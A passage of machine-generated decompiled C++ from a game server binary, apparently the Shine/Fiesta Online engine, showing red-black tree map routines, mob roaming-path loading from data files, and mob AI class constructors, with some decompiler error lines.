v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004894E0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree,std::allocator,0> >::iterator v4; // ebp@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 std::_Tree,std::allocator,0> > *v15; // ecx@37 int v16; // eax@39 bool v17; // zf@54 unsigned int v18; // eax@62 std::_Tree,std::allocator,0> >::iterator *v19; // eax@64 std::_Tree,std::allocator,0> > *v20; // [sp+0h] [bp-54h]@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v23; // [sp+50h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 49) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 49) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v10; } v11 = v20->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 49) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 48); *(_BYTE *)(*(_DWORD *)&v6 + 48) = *(_BYTE *)(*(_DWORD *)&v4 + 48); *(_BYTE *)(*(_DWORD *)&v4 + 48) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&v4 + 48) == 1 ) { v15 = v20; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v20->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 48) != 1 ) break; v16 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v16 + 48) ) { *(_BYTE *)(v16 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); v15 = v20; } if ( *(_BYTE *)(v16 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v16 + 48) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)v16 + 48) = 1; *(_BYTE *)(v16 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, (std::_Tree_nod,std::allocator,0> >::_Node *)v16); v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); v15 = v20; } *(_BYTE *)(v16 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v16 + 48) ) { *(_BYTE *)(v16 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v16 = **(_DWORD **)&v7; v15 = v20; } if ( *(_BYTE *)(v16 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v16 + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) = 1; *(_BYTE *)(v16 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, (std::_Tree_nod,std::allocator,0> >::_Node *)v16); v16 = **(_DWORD **)&v7; v15 = v20; } *(_BYTE *)(v16 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)v16 + 48) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v16 + 48) = 0; LABEL_54: v5 = v7; v17 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v15->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v17 ); } *(_BYTE *)(*(_DWORD *)&v5 + 48) = 1; } if ( *(_DWORD *)(*(_DWORD *)&v4 + 16) ) operator delete(*(void **)(*(_DWORD *)&v4 + 16)); *(_DWORD *)(*(_DWORD *)&v4 + 16) = 0; *(_DWORD *)(*(_DWORD *)&v4 + 20) = 0; *(_DWORD *)(*(_DWORD *)&v4 + 24) = 0; operator delete(*(void **)&v4); v18 = v20->_Mysize; if ( v18 > 0 ) v20->_Mysize = v18 - 1; v19 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v19; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004897C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00489800) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, MobRoaming::MobRoamingPath *_Val) { std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@1 MobRoaming::MobRoamingPath *v6; // esi@1 MobRoaming::MobRoamingPath *v7; // ebp@1 bool v8; // al@1 int v9; // edx@2 int v10; // eax@3 MobRoaming::MobRoamingPath *v11; // edi@12 MobRoaming::MobRoamingPath **v12; // ecx@13 int v13; // edx@15 std::pair,std::allocator,0> >::iterator,bool> *v14; // eax@15 bool v15; // [sp-Ch] [bp-20h]@14 std::_Tree_nod,std::allocator,0> >::_Node *v16; // [sp-8h] [bp-1Ch]@14 MobRoaming::MobRoamingPath *v17; // [sp-4h] [bp-18h]@14 char _Addleft; // [sp+10h] [bp-4h]@1 v3 = this; v4 = this->_Myhead; v5 = v4->_Parent; v6 = _Val; v7 = (MobRoaming::MobRoamingPath *)v4; v8 = 1; _Addleft = 1; while ( !v5->_Isnil ) { v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[0]; v7 = (MobRoaming::MobRoamingPath *)v5; if ( *(_DWORD *)&_Val->mrp_GroupName.ort_Name[0] == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[4]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[4]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[8]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[8]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[12]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[12]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[16]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[16]; } } } } else { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[0]; } v8 = v10 - v9 < 0; _Addleft = v8; if ( v8 ) v5 = v5->_Left; else v5 = v5->_Right; } v11 = v7; _Val = v7; if ( v8 ) { v12 = &_Val; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Left ) { v17 = v6; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; v15 = 1; LABEL_15: v13 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v3, (std::_Tree,std::allocator,0> >::iterator *)v12, v15, v16, v17)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v14 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v13; result->second = 1; return v14; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v11 = _Val; } if ( MobRoaming::MobRoamingPath::operator<((MobRoaming::MobRoamingPath *)((char *)v11 + 12), v6) ) { v17 = v6; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; v15 = _Addleft; v12 = &_Val; goto LABEL_15; } v14 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; result->second = 0; return v14; } //----- (004898E0) -------------------------------------------------------- MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world, ORToken *groupname) { MobRoaming::MobRoamingSet *v3; // ebp@1 char *v4; // esi@2 int v5; // edx@2 MobRoaming::MobRoamingPath *v6; // eax@4 MobRoaming::MobRoamingPath *v7; // eax@6 int v8; // esi@6 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@8 char *v10; // eax@8 int i; // edi@11 void *v12; // eax@12 MobRoaming::MobRoamingPath *v13; // eax@16 ORToken v14; // [sp-2Ah] [bp-10960h]@12 int v15; // [sp-26h] [bp-1095Ch]@12 int v16; // [sp-22h] [bp-10958h]@12 int v17; // [sp-1Eh] [bp-10954h]@12 char *v18; // [sp-1Ah] [bp-10950h]@2 int v19; // [sp-16h] [bp-1094Ch]@2 bool v20; // [sp+1h] [bp-10935h]@8 char v21; // [sp+2h] [bp-10934h]@6 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+6h] [bp-10930h]@4 MobRoaming::MobRoamingPath thisa; // [sp+Eh] [bp-10928h]@4 char tmp[32]; // [sp+32h] [bp-10904h]@2 char path[128]; // [sp+52h] [bp-108E4h]@2 OptionReader or; // [sp+D2h] [bp-10864h]@2 unsigned int cookie; // [sp+10926h] [bp-10h]@16 int v28; // [sp+10932h] [bp-4h]@2 v3 = this; if ( !MobRoaming::MobRoamingSet::mrs_Get(this, groupname) ) { OptionReader::OptionReader(&or); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v4 = (char *)&namestring + 256 * namestring.ns_point.value; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; v19 = (int)tmp; v28 = 0; *((_DWORD *)v4 + 3) = v5; v4[16] = 0; ORToken::ort_GetString(groupname, (char *)v19); v18 = v4; sprintf(path, "../9Data/Shine/World/%s/MobRoam/%s.txt"); if ( OptionReader::or_Read(&or, path) || (OptionReader::or_ClearError(&or), ORToken::ort_GetString(groupname, tmp), sprintf(path, "../9Data/Shine/MobRoam/%s.txt"), !OptionReader::or_Read(&or, path)) ) { v28 = -1; OptionReader::_OptionReader(&or); } else { MobRoaming::MobRoamingPath::MobRoamingPath(&thisa, groupname); LOBYTE(v28) = 1; std::_Tree_std::allocator_0>>::insert( &v3->baseclass_0.baseclass_0, &result, v6); LOBYTE(v28) = 0; if ( thisa.baseclass_0._Myfirst ) operator delete(thisa.baseclass_0._Myfirst); MobRoaming::MobRoamingPath::MobRoamingPath(&thisa, groupname); v8 = *(_DWORD *)&std::_Tree_std::allocator_0>>::find( &v3->baseclass_0.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&v21, v7)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( thisa.baseclass_0._Myfirst ) operator delete(thisa.baseclass_0._Myfirst); v9 = v3->baseclass_0.baseclass_0._Myhead; thisa.baseclass_0._Myfirst = 0; thisa.baseclass_0._Mylast = 0; thisa.baseclass_0._Myend = 0; v20 = v8 != (_DWORD)v9; v10 = ORToken::ort_GetString(groupname, tmp); if ( !v20 ) { AssertClass::ac_AssertFail(&shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Error in load", v10); ShineExit("MobRoaming::MobRoamingSet::mrs_Load"); } for ( i = 0; ; ++i ) { v19 = i; *(_DWORD *)&result.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v14; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)&v14.ort_Name[0] = 0; strncpy(v14.ort_Name, "Roaming", 0x14u); v12 = OptionReader::or_SelectFromOrder(&or, v14, v19); if ( !v12 ) break; std::vector>::push_back( (std::vector > *)(v8 + 12), (MobRoaming::PathElement *)v12); } v28 = -1; OptionReader::_OptionReader(&or); } } __security_check_cookie(cookie); return v13; } //----- (00489B50) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 49) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 49); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 49); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00489C10) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world) { char v2; // bl@1 int v3; // eax@1 int i; // ebx@4 void *v5; // edi@5 MobRoaming::MobRoamingPath *v6; // eax@9 ORToken v7; // [sp-34h] [bp-108B8h]@5 int v8; // [sp-30h] [bp-108B4h]@5 int v9; // [sp-2Ch] [bp-108B0h]@5 int v10; // [sp-28h] [bp-108ACh]@5 int v11; // [sp-24h] [bp-108A8h]@5 char *v12; // [sp-20h] [bp-108A4h]@5 int v13; // [sp-1Ch] [bp-108A0h]@5 int v14; // [sp-18h] [bp-1089Ch]@5 int *v15; // [sp-14h] [bp-10898h]@5 ORToken *v16; // [sp+0h] [bp-10884h]@5 int type; // [sp+4h] [bp-10880h]@5 MobRoaming::MobRoamingSet *v18; // [sp+8h] [bp-1087Ch]@1 ORToken groupname; // [sp+Ch] [bp-10878h]@9 OptionReader or; // [sp+20h] [bp-10864h]@1 unsigned int cookie; // [sp+10874h] [bp-10h]@13 int v22; // [sp+10880h] [bp-4h]@1 v18 = this; OptionReader::OptionReader(&or); v22 = 0; v2 = OptionReader::or_Read(&or, "../9Data/Shine/World/PineScript.txt"); v3 = OptionReader::or_ErrorLine(&or); if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Option read error", v3); ShineExit("MobRoaming::MobRoamingSet::mrs_Load"); } for ( i = 0; ; ++i ) { v15 = &type; v14 = i; v13 = 0; v12 = byte_5A62A6; v16 = &v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "RoamingData", 0x14u); v5 = OptionReader::or_Select(&or, "RoamingFile", v7, v12, v13, v14, v15); if ( !v5 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } *(_QWORD *)&groupname.ort_Name[12] = 0i64; *(_QWORD *)&groupname.ort_Name[4] = 0i64; *(_DWORD *)&groupname.ort_Name[0] = 0; strncpy(groupname.ort_Name, (const char *)v5, 0x14u); v6 = MobRoaming::MobRoamingSet::mrs_Load(v18, world, &groupname); v16 = (ORToken *)(v6 != 0); if ( v6 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Roaming Data(in PineScript.txt)not found", (const char *)v5); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } } v22 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00489DC0) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::_MobRoamingSet(MobRoaming::MobRoamingSet *this) { MobRoaming::MobRoamingSet *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0.baseclass_0._Myhead); operator delete(v1->baseclass_0.baseclass_0._Myhead); v1->baseclass_0.baseclass_0._Myhead = 0; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (00489DF0) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::MobRoamingSet(MobRoaming::MobRoamingSet *this) { MobRoaming::MobRoamingSet *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0.baseclass_0._Myhead->_Parent = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Myhead->_Left = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Myhead->_Right = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (00489E20) -------------------------------------------------------- #error "489E20: undefined or illegal type '#325' (funcsize=40)" //----- (00489EA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_GetWeaponCastTime(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 7560); if ( v1 >= 0 ) result = 10 * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 8) + 12 * v1) + 75) / 1000; else result = 0; return result; } //----- (00489EE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_SetTarget(int this, __int16 targethandle) { int v2; // edx@2 ScriptInterrupt::InterruptHappenArgument arg; // [sp+0h] [bp-108h]@3 if ( targethandle != *(_WORD *)(this + 8810) ) { v2 = *(_DWORD *)(this + 98); *(_WORD *)(this + 8810) = targethandle; if ( v2 ) { *(_WORD *)&arg.npcclick.index[0] = *(_WORD *)(this + 4); *(_WORD *)&arg.npcclick.index[2] = targethandle; if ( targethandle != -1 ) Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v2 + 68), ScriptInterrupt::ScriptInterruptManager::sim_TargetChange, &arg); } } } // 610D14: using guessed type int __security_cookie; //----- (00489F50) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNeededTarget::mant_SetTarget(MobTacticElement::MobActionNeededTarget *this, #325 *target) { MobTacticElement::MobActionBase *result; // eax@1 result = (MobTacticElement::MobActionBase *)this; *this->mant_Target.mbto_Target = target; return result; } //----- (00489F60) -------------------------------------------------------- #error "489F60: undefined or illegal type '#325' (funcsize=17)" //----- (00489FA0) -------------------------------------------------------- #error "489FA0: undefined or illegal type '#325' (funcsize=31)" //----- (0048A000) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionNoBrain::_MobActionNoBrain(MobTacticElement::MobActionNoBrain *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionBase::_vftable_; } // 5BA680: using guessed type int (__stdcall *MobTacticElement__MobActionBase___vftable_[2])(int argument); //----- (0048A010) -------------------------------------------------------- #error "48A010: undefined or illegal type '#325' (funcsize=8)" //----- (0048A030) -------------------------------------------------------- #325 *__thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetObject(MobTacticElement::MobActionNeededTarget *this) { return *this->mant_Target.mbto_Target; } //----- (0048A040) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInMove::MobActionInMove(MobTacticElement::MobActionInMove *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInMove::_vftable_; } // 5BA698: using guessed type int (__stdcall *MobTacticElement__MobActionInMove___vftable_[2])(int argument); //----- (0048A050) -------------------------------------------------------- void __thiscall MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(MobTacticElement::DuringReturn2Regen *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::DuringReturn2Regen::_vftable_; } // 5BA6B0: using guessed type int (__stdcall *MobTacticElement__DuringReturn2Regen___vftable_[2])(int argument); //----- (0048A060) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInChase::MobActionInChase(MobTacticElement::MobActionInChase *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInChase::_vftable_; } // 5BA6C8: using guessed type int (__stdcall *MobTacticElement__MobActionInChase___vftable_[2])(int argument); //----- (0048A070) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(MobTacticElement::MobActionInMove_Cancelable *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInMove_Cancelable::_vftable_; } // 5BA6E0: using guessed type int (__stdcall *MobTacticElement__MobActionInMove_Cancelable___vftable_[2])(int argument); //----- (0048A080) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWander::MobActionWander(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionWander::_vftable_; Metronome::Metronome(&this->maw_ReturnTick); Metronome::Metronome(&v1->maw_SearchTick); Metronome::Metronome(&v1->maw_WanderTick); } // 5BA6F8: using guessed type int (__thiscall *MobTacticElement__MobActionWander___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (0048A0E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWander::_MobActionWander(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionWander::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->maw_WanderTick); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->maw_SearchTick); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->maw_ReturnTick); v1->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionBase::_vftable_; } // 5BA680: using guessed type int (__stdcall *MobTacticElement__MobActionBase___vftable_[2])(int argument); // 5BA6F8: using guessed type int (__thiscall *MobTacticElement__MobActionWander___vftable_)(MobTacticElement::MobActionBase 